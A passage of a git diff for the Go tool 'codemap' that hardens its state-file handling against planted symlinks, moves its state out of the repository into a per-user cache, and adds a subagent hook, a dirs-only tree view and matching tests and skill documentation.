if err != nil { + os.Exit(1) + } + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/internal/runtimefile/append_unix.go b/internal/runtimefile/append_unix.go index 62f6f745..a4347da4 100644 --- a/internal/runtimefile/append_unix.go +++ b/internal/runtimefile/append_unix.go @@ -3,7 +3,7 @@ package runtimefile import ( - "fmt" + "errors" "os" "syscall" ) @@ -11,6 +11,9 @@ import ( // OpenAppend opens without following a final symlink. func OpenAppend(path string, mode os.FileMode) (*os.File, error) { fd, err := syscall.Open(path, syscall.O_WRONLY|syscall.O_APPEND|syscall.O_CREAT|syscall.O_NOFOLLOW, uint32(mode.Perm())) + if errors.Is(err, syscall.ELOOP) { + return nil, Unsafe(path) + } if err != nil { return nil, err } @@ -18,7 +21,7 @@ func OpenAppend(path string, mode os.FileMode) (*os.File, error) { info, err := file.Stat() if err != nil || !info.Mode().IsRegular() { _ = file.Close() - return nil, fmt.Errorf("unsafe runtime file %q", path) + return nil, Unsafe(path) } return file, nil } diff --git a/internal/runtimefile/append_windows.go b/internal/runtimefile/append_windows.go index ee8d45a9..6303e8e1 100644 --- a/internal/runtimefile/append_windows.go +++ b/internal/runtimefile/append_windows.go @@ -33,7 +33,7 @@ func OpenAppend(path string, mode os.FileMode) (*os.File, error) { } if info.FileAttributes&syscall.FILE_ATTRIBUTE_REPARSE_POINT != 0 || info.FileAttributes&syscall.FILE_ATTRIBUTE_DIRECTORY != 0 { _ = syscall.CloseHandle(handle) - return nil, fmt.Errorf("unsafe runtime file %q", path) + return nil, Unsafe(path) } file := os.NewFile(uintptr(handle), path) if file == nil { diff --git a/internal/runtimefile/runtimefile.go b/internal/runtimefile/runtimefile.go index 1fe63bbe..9b0af274 100644 --- a/internal/runtimefile/runtimefile.go +++ b/internal/runtimefile/runtimefile.go @@ -1,12 +1,22 @@ package runtimefile import ( + "errors" "fmt" "io" "os" "path/filepath" ) +// ErrUnsafe marks a state path that is a symlink or of the wrong type. +var ErrUnsafe = errors.New("unsafe codemap state") + +// Unsafe is the one error every refused state path gets: it names the path +// and says what to do. codemap never deletes it itself. +func Unsafe(path string) error { + return fmt.Errorf("%w: %s is a symlink or not a plain file or directory; remove it and rerun", ErrUnsafe, path) +} + // WriteAtomic replaces a regular runtime file without following its endpoint. func WriteAtomic(path string, data []byte, mode os.FileMode) error { return WriteAtomicWith(path, mode, func(w io.Writer) error { @@ -18,7 +28,7 @@ func WriteAtomic(path string, data []byte, mode os.FileMode) error { // WriteAtomicWith replaces a regular runtime file with streamed content. func WriteAtomicWith(path string, mode os.FileMode, write func(io.Writer) error) error { if info, err := os.Lstat(path); err == nil && !info.Mode().IsRegular() { - return fmt.Errorf("unsafe runtime file %q", path) + return Unsafe(path) } else if err != nil && !os.IsNotExist(err) { return err } @@ -42,14 +52,56 @@ func WriteAtomicWith(path string, mode os.FileMode, write func(io.Writer) error) return replaceFile(tmpPath, path) } +// EnsureDir makes path a private directory, creating it when missing, and +// refuses a symlink or anything else that is not a real directory, so a +// listing or cleanup inside it never reaches outside the state dir. +func EnsureDir(path string) error { + if err := os.Mkdir(path, 0o700); err != nil && !os.IsExist(err) { + return err + } + return CheckDir(path) +} + +// CheckDir is EnsureDir without creating: a missing path is os.ErrNotExist. +func CheckDir(path string) error { + info, err := os.Lstat(path) + if err != nil { + return err + } + if !info.IsDir() { + return Unsafe(path) + } + return nil +} + // Read rejects symlink and non-regular endpoints. func Read(path string) ([]byte, error) { - info, err := os.Lstat(path) + f, err := OpenRead(path) + if err != nil { + return nil, err + } + defer f.Close() + return io.ReadAll(f) +} + +// OpenRead opens a regular file for reading and refuses a symlink, even one +// swapped in between the check and the open: the opened file must be the one +// Lstat saw. +func OpenRead(path string) (*os.File, error) { + before, err := os.Lstat(path) + if err != nil { + return nil, err + } + if !before.Mode().IsRegular() { + return nil, Unsafe(path) + } + f, err := os.Open(path) if err != nil { return nil, err } - if !info.Mode().IsRegular() { - return nil, fmt.Errorf("unsafe runtime file %q", path) + if after, err := f.Stat(); err != nil || !os.SameFile(before, after) { + _ = f.Close() + return nil, Unsafe(path) } - return os.ReadFile(path) + return f, nil } diff --git a/internal/runtimefile/runtimefile_test.go b/internal/runtimefile/runtimefile_test.go index f566d256..924ca808 100644 --- a/internal/runtimefile/runtimefile_test.go +++ b/internal/runtimefile/runtimefile_test.go @@ -57,3 +57,34 @@ func TestWriteAtomicWithReplacesDestination(t *testing.T) { t.Fatalf("content = %q, want new", data) } } + +// Every state write and read refuses a planted symlink, leaving its target +// untouched. +func TestEveryStateAccessRefusesAPlantedLink(t *testing.T) { + outside := filepath.Join(t.TempDir(), "outside") + if err := os.WriteFile(outside, []byte("mine\n"), 0o600); err != nil { + t.Fatal(err) + } + link := filepath.Join(t.TempDir(), "state.json") + if err := os.Symlink(outside, link); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + if f, err := OpenAppend(link, 0o600); err == nil { + _, _ = f.Write([]byte("leak\n")) + _ = f.Close() + t.Error("OpenAppend followed the link") + } + if err := WriteAtomic(link, []byte("leak\n"), 0o600); err == nil { + t.Error("WriteAtomic replaced the link") + } + if _, err := Read(link); err == nil { + t.Error("Read followed the link") + } + if f, err := OpenRead(link); err == nil { + _ = f.Close() + t.Error("OpenRead followed the link") + } + if data, _ := os.ReadFile(outside); string(data) != "mine\n" { + t.Fatalf("outside file changed: %q", data) + } +} diff --git a/main.go b/main.go index 4536917d..be5dd464 100644 --- a/main.go +++ b/main.go @@ -117,7 +117,7 @@ func main() { if len(os.Args) >= 2 && os.Args[1] == "hook" { if len(os.Args) < 3 { fmt.Fprintln(os.Stderr, "Usage: codemap hook ") - fmt.Fprintln(os.Stderr, "Available hooks: session-start, pre-edit, post-edit, prompt-submit, pre-compact, session-stop") + fmt.Fprintln(os.Stderr, "Available hooks: session-start, subagent-start, pre-edit, post-edit, prompt-submit, pre-compact, session-stop") fmt.Fprintln(os.Stderr, "session-start also starts 'codemap watch daemon ' when none is running and writes runtime state under the project's .codemap/ directory. 'codemap watch stop' ends it.") os.Exit(1) } @@ -152,6 +152,9 @@ func main() { os.Exit(2) } } + if hookName == "session-start" && hookIntegration != "" { + cmd.RepairSubagentHook(root, hookAgent) + } if err := cmd.RunHookWithTimeout(hookName, root, cmd.HookTimeoutFromEnv(os.Getenv)); err != nil { var timeoutErr *cmd.HookTimeoutError if errors.As(err, &timeoutErr) { @@ -465,8 +468,10 @@ func main() { // adds to the config's exclude list (issue #150), since a config exclude // is a standing decision about the repo and one run narrowing further // must not silently re-admit it. - if tempDir == "" { - cmd.EnsureProjectConfig(absRoot) + autoFilter := tempDir == "" && len(only) == 0 && cmd.AutoConfigActive(absRoot) + var gitListed []scanner.FileInfo + if autoFilter { + gitListed = cmd.RefreshAutoConfig(absRoot) } projCfg := config.Load(absRoot) if len(only) == 0 && len(projCfg.Only) > 0 { @@ -583,6 +588,10 @@ func main() { fmt.Fprintf(os.Stderr, "Error walking tree: %v\n", err) os.Exit(1) } + autoNote := "" + if autoFilter && os.Getenv(cmd.TreeLeanEnv) == "" { + autoNote = cmd.AutoFilterNote(projCfg, gitListed) + } var scanBound *scanner.ScanBound if totalFiles > len(files) { scanBound = &scanner.ScanBound{Scanned: len(files), Total: totalFiles, Limit: limits.ScanFileBound(*maxFiles)} @@ -626,14 +635,18 @@ func main() { project.Hubs, project.HubNote = treeHubs(absRoot, len(files), filters) project.UntrackedDirs = untrackedDirs(root) lean := os.Getenv(cmd.TreeLeanEnv) - if lean != "2" { + project.DirsOnly = lean == cmd.TreeLeanDirsOnly + if lean != "2" && !project.DirsOnly { project.LineCounts = countLines(absRoot, files) } - if lean != "" { + if lean == "1" || lean == "2" { project.HubListMax = 3 } } render.Tree(os.Stdout, project) + if autoNote != "" { + fmt.Println(autoNote) + } } if !*jsonMode && scanBound != nil { fmt.Printf(" Coverage: partial — %s\n", scanBound.Note()) @@ -892,7 +905,7 @@ func runWatchMode(root string, verbose bool) { fmt.Printf("Watching: %s\n", root) fmt.Printf("Files tracked: %d (every file under the root, before config filters)\n", daemon.FileCount()) - fmt.Println("Event log: .codemap/events.log") + fmt.Println("Event log: " + filepath.Join(projectpath.ProjectRuntimeDir(root), "events.log")) fmt.Println() fmt.Println("Press Ctrl+C to stop") fmt.Println() @@ -979,6 +992,16 @@ func runWatchSubcommand(subCmd, root string) error { switch subCmd { case "start": transition, err := acquireWatchTransition(absRoot) + if errors.Is(err, watch.ErrTransitionLocked) { + // Another start won the race; its daemon is ours too. + for deadline := time.Now().Add(watchReadinessTimeout); time.Now().Before(deadline); time.Sleep(50 * time.Millisecond) { + if active, _ := watch.ResolveActiveRuntime(absRoot); active.PID > 0 && !active.Legacy { + fmt.Println("Watch daemon already running") + return nil + } + } + return fmt.Errorf("another watch start held the lock and no daemon came up within %s", watchReadinessTimeout) + } if err != nil { return fmt.Errorf("starting daemon: %w", err) } @@ -991,7 +1014,12 @@ func runWatchSubcommand(subCmd, root string) error { if err != nil { return fmt.Errorf("starting daemon: %w", err) } - if active.PID > 0 { + if active.Legacy { + if err := watch.StopActive(active); err != nil { + return fmt.Errorf("replacing daemon from an older codemap (pid %d): %w", active.PID, err) + } + fmt.Printf("Stopped watch daemon from an older codemap (pid %d); starting a current one\n", active.PID) + } else if active.PID > 0 { fmt.Println("Watch daemon already running") return nil } @@ -1086,7 +1114,10 @@ func runWatchSubcommand(subCmd, root string) error { if err != nil { return fmt.Errorf("watch daemon status unavailable: %w", err) } - if active.PID > 0 { + if active.Legacy { + fmt.Printf("Watch daemon from an older codemap running (pid %d); it keeps state where this version does not read it\n", active.PID) + fmt.Println(" Next: `codemap watch start` replaces it.") + } else if active.PID > 0 { state := watch.ReadState(absRoot) // A daemon whose state writes fail is still "running"; without // this line its stale numbers would read as current (#140). diff --git a/main_helpers_test.go b/main_helpers_test.go index d2446c81..49de1b6a 100644 --- a/main_helpers_test.go +++ b/main_helpers_test.go @@ -301,8 +301,8 @@ func TestMainFreshCloneLeavesGitStatusClean(t *testing.T) { if !strings.Contains(out, "Files:") { t.Fatalf("expected a structure summary, got:\n%s", out) } - if _, err := os.Stat(filepath.Join(clone, ".codemap", "config.json")); err != nil { - t.Fatalf("auto-init config not written: %v", err) + if _, err := os.Stat(filepath.Join(clone, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("`codemap .` created .codemap/ in a repo that never ran setup: %v", err) } status := exec.Command("git", "status", "--porcelain") status.Dir = clone diff --git a/mcp/main.go b/mcp/main.go index de6711cc..550fc594 100644 --- a/mcp/main.go +++ b/mcp/main.go @@ -221,7 +221,7 @@ type HandoffInput struct { Since string `json:"since,omitempty" jsonschema:"Look back window for recent events (Go duration, e.g. 2h, 30m)"` Ref string `json:"ref,omitempty" jsonschema:"Git base ref for diff (default: main)"` Latest bool `json:"latest,omitempty" jsonschema:"Read latest saved handoff artifact instead of generating a new one"` - Save bool `json:"save,omitempty" jsonschema:"When true, persist generated artifact to .codemap/handoff.latest.json"` + Save bool `json:"save,omitempty" jsonschema:"When true, persist generated artifact to handoff.latest.json in the project state directory"` JSON bool `json:"json,omitempty" jsonschema:"Return raw JSON output"` Prefix bool `json:"prefix,omitempty" jsonschema:"Return only the stable prefix snapshot"` Delta bool `json:"delta,omitempty" jsonschema:"Return only the recent delta snapshot"` diff --git a/mcp/testmain_test.go b/mcp/testmain_test.go index d1891c68..9bb64572 100644 --- a/mcp/testmain_test.go +++ b/mcp/testmain_test.go @@ -16,6 +16,8 @@ func TestMain(m *testing.M) { os.Exit(1) } os.Setenv("CODEMAP_DAEMON_REGISTRY", dir) + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) code := m.Run() _ = os.RemoveAll(dir) os.Exit(code) diff --git a/plugins/codemap/skills/codemap/SKILL.md b/plugins/codemap/skills/codemap/SKILL.md index 054a99e7..9beef5f8 100644 --- a/plugins/codemap/skills/codemap/SKILL.md +++ b/plugins/codemap/skills/codemap/SKILL.md @@ -36,7 +36,7 @@ codemap serve --port 9471 # HTTP API for non-MCP integrations Before deeper Codemap analysis in a repo: -1. Check `.codemap/config.json`. +1. Check `.codemap/config.json`. A repo with no `.codemap/` folder was never set up: leave it that way unless the user asks (codemap keeps its state outside the repo). 2. If it is missing, clearly boilerplate, or obviously too noisy for the stack, run `codemap skill show config-setup` and follow it. 3. After writing or improving config, rerun `codemap .` and `codemap --deps`. @@ -107,6 +107,9 @@ Skills matched: hub-safety, refactor - run `codemap skill show ` for guida - **Intent categories**: refactor, bugfix, feature, explore, test, docs - **Risk levels**: low (no hubs), medium (1 hub), high (2+ hubs or 8+ importers) - **Skills are pull-based**: only names are shown, run `codemap skill show` for full body +- **Suggestions** print only for a named file with dependency evidence; otherwise the marker has `"suggestions":[]` + +The edit hooks print hub facts only (hub warning, dependents, `Imported by N`, `Imports N hub(s)`) and stay silent for files outside the project. A subagent gets the top-level directories and the hub list at start, since it never sees the session-start tree. ## Builtin Skills diff --git a/plugins/codemap/skills/config-setup/SKILL.md b/plugins/codemap/skills/config-setup/SKILL.md index 1f2f12af..55e0550b 100644 --- a/plugins/codemap/skills/config-setup/SKILL.md +++ b/plugins/codemap/skills/config-setup/SKILL.md @@ -9,7 +9,7 @@ description: Set up or tune .codemap/config.json so Codemap focuses on code-rele A score of 100 means a hook found the config missing, empty, malformed, or boilerplate. Fix it first; it takes under a minute and every later Codemap answer depends on it. -1. Run `codemap config show` to see the current state. If it says missing, run `codemap config init` (most commands now do this for you). +1. Run `codemap config show` to see the current state. If it says missing, codemap is running on auto-detected filters kept outside the repo; run `codemap config init` to write a committable `.codemap/config.json`. 2. Write or tune `.codemap/config.json` using the workflow below: keep source extensions in `only`, add `exclude` for real noise, set `depth` if the tree is wide. 3. Rerun `codemap .` and confirm the tree is dominated by source, not assets. 4. Verify one known cross-file dependency still resolves with `codemap --importers `. @@ -22,7 +22,7 @@ Write or improve `.codemap/config.json` so future Codemap calls stay focused on ## Use this when -1. `.codemap/config.json` is missing +1. `.codemap/config.json` is missing in a repo the user has set up (`.codemap/` exists), or the user asked to set codemap up. Never create `.codemap/` in a repo the user has not asked to set up. 2. The existing config looks like a bare bootstrap instead of a real project policy 3. Codemap output is dominated by assets, fixtures, generated files, vendor trees, PDFs, screenshots, models, or training data 4. The project stack is obvious, but Codemap is not prioritizing the right parts of the repo diff --git a/plugins/codemap/skills/handoff/SKILL.md b/plugins/codemap/skills/handoff/SKILL.md index 1ecc2074..5a34d2ff 100644 --- a/plugins/codemap/skills/handoff/SKILL.md +++ b/plugins/codemap/skills/handoff/SKILL.md @@ -40,9 +40,11 @@ The prefix file count and size-based handoff budgets honor the active ## Artifacts written +In the per-user state dir, never in the repo; `codemap doctor` prints its path on the `state dir:` line. + | File | Content | |------|---------| -| `.codemap/handoff.latest.json` | Full artifact (all layers) | -| `.codemap/handoff.prefix.json` | Stable prefix snapshot | -| `.codemap/handoff.delta.json` | Dynamic delta snapshot | -| `.codemap/handoff.metrics.log` | Append-only metrics stream | +| `handoff.latest.json` | Full artifact (all layers) | +| `handoff.prefix.json` | Stable prefix snapshot | +| `handoff.delta.json` | Dynamic delta snapshot | +| `handoff.metrics.log` | Append-only metrics stream | diff --git a/render/tree.go b/render/tree.go index 01705174..8e8015ef 100644 --- a/render/tree.go +++ b/render/tree.go @@ -181,26 +181,30 @@ func Tree(w io.Writer, project scanner.Project) { innerWidth = len(statsLine) + 4 } + panel := w + if project.DirsOnly { + panel = io.Discard + } // Title in top border line (like rich panel) titleLine := fmt.Sprintf(" %s ", projectName) padding := innerWidth - len(titleLine) leftPad := padding / 2 rightPad := padding - leftPad - fmt.Fprintf(w, "╭%s%s%s╮\n", strings.Repeat("─", leftPad), titleLine, strings.Repeat("─", rightPad)) - fmt.Fprintf(w, "│ %-*s │\n", innerWidth-2, statsLine) + fmt.Fprintf(panel, "╭%s%s%s╮\n", strings.Repeat("─", leftPad), titleLine, strings.Repeat("─", rightPad)) + fmt.Fprintf(panel, "│ %-*s │\n", innerWidth-2, statsLine) // Extensions line if extLine != "" { - fmt.Fprintf(w, "│ %-*s │\n", innerWidth-2, extLine) + fmt.Fprintf(panel, "│ %-*s │\n", innerWidth-2, extLine) } // Remote URL indicator if project.RemoteURL != "" { remoteLine := fmt.Sprintf("↳ %s", project.RemoteURL) - fmt.Fprintf(w, "│ %-*s │\n", innerWidth-2, remoteLine) + fmt.Fprintf(panel, "│ %-*s │\n", innerWidth-2, remoteLine) } - fmt.Fprintf(w, "╰%s╯\n", strings.Repeat("─", innerWidth)) + fmt.Fprintf(panel, "╰%s╯\n", strings.Repeat("─", innerWidth)) // Build and render tree root := buildTreeStructure(files) diff --git a/render/tree_compact.go b/render/tree_compact.go index ea5af5c3..18cd54b3 100644 --- a/render/tree_compact.go +++ b/render/tree_compact.go @@ -20,10 +20,11 @@ type treeMarks struct { hubDirs map[string]int untracked map[string]bool lines map[string]int + dirsOnly bool } func newTreeMarks(project scanner.Project) *treeMarks { - m := &treeMarks{compact: project.DiffRef == "", hubFiles: map[string]int{}, hubDirs: map[string]int{}, untracked: project.UntrackedDirs, lines: project.LineCounts} + m := &treeMarks{compact: project.DiffRef == "", hubFiles: map[string]int{}, hubDirs: map[string]int{}, untracked: project.UntrackedDirs, lines: project.LineCounts, dirsOnly: project.DirsOnly} for _, h := range project.Hubs { if h.IsPackage() { m.hubDirs[strings.TrimSuffix(h.Path, "/")] = h.Importers @@ -108,6 +109,9 @@ func printTreeNode(w io.Writer, node *treeNode, prefix string, isLast bool, mark } sort.Slice(dirs, func(i, j int) bool { return dirs[i].name < dirs[j].name }) sort.Slice(fileNodes, func(i, j int) bool { return fileNodes[i].name < fileNodes[j].name }) + if marks.dirsOnly { + fileNodes = nil + } for i, dir := range dirs { isLastDir := i == len(dirs)-1 && len(fileNodes) == 0 @@ -136,7 +140,7 @@ func printTreeNode(w io.Writer, node *treeNode, prefix string, isLast bool, mark prefix, connector, BoldBlue, mergedName, Reset, Dim, countAndSize(fileCount, totalSize), Reset) continue } - if marks.compact && len(current.children) == 1 { + if marks.compact && !marks.dirsOnly && len(current.children) == 1 { f := onlyChild(current) star, count := hubMark(marks.hubFiles[f.path]) fmt.Fprintf(w, "%s%s%s %s%s/%s%s%s%s%s %s(%s)%s\n", @@ -173,6 +177,9 @@ func printTreeNode(w io.Writer, node *treeNode, prefix string, isLast bool, mark prefix, connector, BoldBlue, star, mergedName, Reset, count, Dim, strings.Join(statsParts, ", "), Reset) if maxDepth > 0 && currentDepth >= maxDepth { + if marks.dirsOnly { + continue + } // One-line single-file dirs cost no depth, so .claude/skills/ and a // deeper plugins/codemap/skills/ render the same shape. allChains := marks.compact && len(current.children) > 0 diff --git a/scanner/types.go b/scanner/types.go index 49093ffc..c3d7d728 100644 --- a/scanner/types.go +++ b/scanner/types.go @@ -47,6 +47,9 @@ type Project struct { // hub list under the tree (0 = the default of 10). LineCounts map[string]int `json:"-"` HubListMax int `json:"-"` + // DirsOnly drops the header panel and every file listing, leaving the + // directory lines and the hub trailer (the subagent orientation). + DirsOnly bool `json:"-"` } // ScanBound records a walk that stopped keeping files at Limit. diff --git a/scanner/walker.go b/scanner/walker.go index 3c84db0f..945ca2e7 100644 --- a/scanner/walker.go +++ b/scanner/walker.go @@ -307,6 +307,27 @@ func IsNestedGitRepo(dir string) bool { return info.IsDir() || info.Mode().IsRegular() } +// IgnoredDirPaths are root-relative directories skipped by path, not name: +// agent worktrees left under .claude/worktrees/ without a .git entry would +// otherwise be scanned as project source (#184). +var IgnoredDirPaths = []string{".claude/worktrees"} + +// ignoredDirPath returns path's slash form relative to root when it is one +// of IgnoredDirPaths. +func ignoredDirPath(root, path string) (string, bool) { + rel, err := filepath.Rel(root, path) + if err != nil { + return "", false + } + rel = filepath.ToSlash(rel) + for _, p := range IgnoredDirPaths { + if rel == p { + return rel, true + } + } + return "", false +} + // NestedGitRepos returns the root-relative paths (OS separators, sorted) of // every git repository nested anywhere under root: linked worktrees (for // example `.claude/worktrees/agent-x`), plain clones, and submodules, at any @@ -508,6 +529,9 @@ func ScanFilesBounded(ctx context.Context, root string, cache *GitIgnoreCache, f } return nil } + if _, ok := ignoredDirPath(absRoot, path); ok && info.IsDir() { + return filepath.SkipDir + } if info.Mode()&os.ModeSymlink != 0 && path != absRoot && !filters.IncludeSymlinks { return nil } diff --git a/scanner/walker_test.go b/scanner/walker_test.go index 773251c2..814ca9d1 100644 --- a/scanner/walker_test.go +++ b/scanner/walker_test.go @@ -14,6 +14,31 @@ import ( "codemap/internal/projectpath" ) +func TestScanFilesSkipsClaudeWorktreesByPath(t *testing.T) { + root := t.TempDir() + for _, rel := range []string{"main.go", ".claude/worktrees/leftover/stale.go", "pkg/.claude/worktrees/kept.go"} { + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("package x\n"), 0o644); err != nil { + t.Fatal(err) + } + } + files, err := ScanFiles(context.Background(), root, nil, nil, nil) + if err != nil { + t.Fatal(err) + } + var got []string + for _, f := range files { + got = append(got, filepath.ToSlash(f.Path)) + } + sort.Strings(got) + if want := []string{"main.go", "pkg/.claude/worktrees/kept.go"}; !reflect.DeepEqual(got, want) { + t.Fatalf("files = %v, want %v", got, want) + } +} + func TestIgnoredDirs(t *testing.T) { // Verify common directories are in the ignored list expectedIgnored := []string{ diff --git a/skills/builtin/codemap.md b/skills/builtin/codemap.md index 5b3876dc..ac69da34 100644 --- a/skills/builtin/codemap.md +++ b/skills/builtin/codemap.md @@ -38,7 +38,7 @@ codemap serve --port 9471 # HTTP API for non-MCP integrations Before deeper Codemap analysis in a repo: -1. Check `.codemap/config.json`. +1. Check `.codemap/config.json`. A repo with no `.codemap/` folder was never set up: leave it that way unless the user asks (codemap keeps its state outside the repo). 2. If it is missing, clearly boilerplate, or obviously too noisy for the stack, run `codemap skill show config-setup` and follow it. 3. After writing or improving config, rerun `codemap .` and `codemap --deps`. @@ -109,6 +109,9 @@ Skills matched: hub-safety, refactor - run `codemap skill show ` for guida - **Intent categories**: refactor, bugfix, feature, explore, test, docs - **Risk levels**: low (no hubs), medium (1 hub), high (2+ hubs or 8+ importers) - **Skills are pull-based**: only names are shown, run `codemap skill show` for full body +- **Suggestions** print only for a named file with dependency evidence; otherwise the marker has `"suggestions":[]` + +The edit hooks print hub facts only (hub warning, dependents, `Imported by N`, `Imports N hub(s)`) and stay silent for files outside the project. A subagent gets the top-level directories and the hub list at start, since it never sees the session-start tree. ## Builtin Skills diff --git a/skills/builtin/config-setup.md b/skills/builtin/config-setup.md index 55b92ee7..89c38665 100644 --- a/skills/builtin/config-setup.md +++ b/skills/builtin/config-setup.md @@ -12,7 +12,7 @@ languages: ["go", "typescript", "javascript", "python", "rust", "ruby", "swift", A score of 100 means a hook found the config missing, empty, malformed, or boilerplate. Fix it first; it takes under a minute and every later Codemap answer depends on it. -1. Run `codemap config show` to see the current state. If it says missing, run `codemap config init` (most commands now do this for you). +1. Run `codemap config show` to see the current state. If it says missing, codemap is running on auto-detected filters kept outside the repo; run `codemap config init` to write a committable `.codemap/config.json`. 2. Write or tune `.codemap/config.json` using the workflow below: keep source extensions in `only`, add `exclude` for real noise, set `depth` if the tree is wide. 3. Rerun `codemap .` and confirm the tree is dominated by source, not assets. 4. Verify one known cross-file dependency still resolves with `codemap --importers `. @@ -25,7 +25,7 @@ Write or improve `.codemap/config.json` so future Codemap calls stay focused on ## Use this when -1. `.codemap/config.json` is missing +1. `.codemap/config.json` is missing in a repo the user has set up (`.codemap/` exists), or the user asked to set codemap up. Never create `.codemap/` in a repo the user has not asked to set up. 2. The existing config looks like a bare bootstrap instead of a real project policy 3. Codemap output is dominated by assets, fixtures, generated files, vendor trees, PDFs, screenshots, models, or training data 4. The project stack is obvious, but Codemap is not prioritizing the right parts of the repo diff --git a/skills/builtin/handoff.md b/skills/builtin/handoff.md index 165b778f..7be7bf23 100644 --- a/skills/builtin/handoff.md +++ b/skills/builtin/handoff.md @@ -42,9 +42,11 @@ The prefix file count and size-based handoff budgets honor the active ## Artifacts written +In the per-user state dir, never in the repo; `codemap doctor` prints its path on the `state dir:` line. + | File | Content | |------|---------| -| `.codemap/handoff.latest.json` | Full artifact (all layers) | -| `.codemap/handoff.prefix.json` | Stable prefix snapshot | -| `.codemap/handoff.delta.json` | Dynamic delta snapshot | -| `.codemap/handoff.metrics.log` | Append-only metrics stream | +| `handoff.latest.json` | Full artifact (all layers) | +| `handoff.prefix.json` | Stable prefix snapshot | +| `handoff.delta.json` | Dynamic delta snapshot | +| `handoff.metrics.log` | Append-only metrics stream | diff --git a/state_location_test.go b/state_location_test.go new file mode 100644 index 00000000..e4fb7e11 --- /dev/null +++ b/state_location_test.go @@ -0,0 +1,779 @@ +package main + +import ( + "bytes" + "fmt" + "io/fs" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + "time" + + "codemap/internal/projectpath" + "codemap/limits" +) + +// stateFixture is a git repo with a few files and one commit. +func stateFixture(t *testing.T) string { + t.Helper() + root := t.TempDir() + for rel, content := range map[string]string{ + "go.mod": "module example.com/state\n\ngo 1.22\n", + "main.go": "package main\n\nimport \"example.com/state/pkg\"\n\nfunc main() { pkg.X() }\n", + "pkg/pkg.go": "package pkg\n\nfunc X() {}\n", + "docs/x.md": "# x\n", + "cmd/a/a.go": "package a\n\nimport \"example.com/state/pkg\"\n\nvar _ = pkg.X\n", + "cmd/b/b.go": "package b\n\nimport \"example.com/state/pkg\"\n\nvar _ = pkg.X\n", + } { + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + } + runGitMainTestCmd(t, root, "init", "-q") + runGitMainTestCmd(t, root, "add", ".") + runGitMainTestCmd(t, root, "-c", "user.name=t", "-c", "user.email=t@example.com", "commit", "-q", "-m", "init") + return root +} + +// runEveryEntryPoint runs the analysis commands and every hook against root +// with the user cache pointed at cache, then stops the daemon session-start +// started. +func runEveryEntryPoint(t *testing.T, root, cache string) { + t.Helper() + run := func(stdin string, args ...string) { + t.Helper() + cmd := exec.Command(codemapTestBinaryPath, args...) + cmd.Dir = root + cmd.Env = append(append(os.Environ(), homeEnv(cache)...), "CODEMAP_HOOK_TIMEOUT=30s") + cmd.Stdin = strings.NewReader(stdin) + var stderr bytes.Buffer + cmd.Stderr = &stderr + if err := cmd.Run(); err != nil { + t.Fatalf("codemap %v: %v\n%s", args, err, stderr.String()) + } + } + t.Cleanup(func() { run("", "watch", "stop", root) }) + edit := `{"session_id":"exit-test","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}` + run("", ".") + run("", "--deps", ".") + run("", "--importers", "pkg/pkg.go", ".") + run("", "find", "x", ".") + run(`{"session_id":"exit-test"}`, "hook", "session-start") + run(`{"session_id":"exit-test","prompt":"refactor pkg/pkg.go"}`, "hook", "prompt-submit") + run(edit, "hook", "pre-edit") + run(edit, "hook", "post-edit") + run(`{"cwd":"`+filepath.ToSlash(root)+`"}`, "hook", "subagent-start") + run(`{"session_id":"exit-test"}`, "hook", "pre-compact") + run(`{"session_id":"exit-test"}`, "hook", "session-stop") +} + +func findFile(t *testing.T, dir, name string) string { + t.Helper() + found := "" + _ = filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error { + if err == nil && !d.IsDir() && d.Name() == name { + found = path + } + return nil + }) + return found +} + +// TestUnsetUpRepoKeepsNothingInTheRepo is the exit test for #184: every entry +// point in a repo that never ran setup leaves the checkout untouched and +// keeps machine state in the user cache. +func TestUnsetUpRepoKeepsNothingInTheRepo(t *testing.T) { + root := stateFixture(t) + cache := t.TempDir() + exclude := filepath.Join(root, ".git", "info", "exclude") + before, _ := os.ReadFile(exclude) + + runEveryEntryPoint(t, root, cache) + + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf(".codemap/ created in an un-set-up repo: %v", err) + } + if after, _ := os.ReadFile(exclude); !bytes.Equal(after, before) { + t.Fatalf(".git/info/exclude changed:\nbefore %q\nafter %q", before, after) + } + status := exec.Command("git", "status", "--porcelain", "--ignored") + status.Dir = root + out, err := status.Output() + if err != nil { + t.Fatal(err) + } + if strings.TrimSpace(string(out)) != "" { + t.Fatalf("git status --porcelain --ignored not empty:\n%s", out) + } + if findFile(t, cache, "agent_edits.jsonl") == "" { + t.Fatalf("post-edit record not under the cache dir %s", cache) + } +} + +// TestUnsetUpRepoWithoutCacheDirWritesNothing: with no user cache directory +// (no HOME) state is unavailable, never put in a shared +// temp dir, and every hook still exits 0. +func TestUnsetUpRepoWithoutCacheDirWritesNothing(t *testing.T) { + root := stateFixture(t) + edit := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}` + var env []string + for _, kv := range os.Environ() { + if !strings.HasPrefix(kv, "HOME=") && !strings.HasPrefix(kv, "USERPROFILE=") { + env = append(env, kv) + } + } + for _, step := range []struct{ stdin, hook string }{ + {`{"session_id":"s"}`, "session-start"}, + {`{"session_id":"s","prompt":"fix pkg/pkg.go"}`, "prompt-submit"}, + {edit, "pre-edit"}, + {edit, "post-edit"}, + {`{"cwd":"` + filepath.ToSlash(root) + `"}`, "subagent-start"}, + {`{"session_id":"s"}`, "pre-compact"}, + {`{"session_id":"s"}`, "session-stop"}, + } { + cmd := exec.Command(codemapTestBinaryPath, "hook", step.hook) + cmd.Dir = root + cmd.Env = env + cmd.Stdin = strings.NewReader(step.stdin) + if out, err := 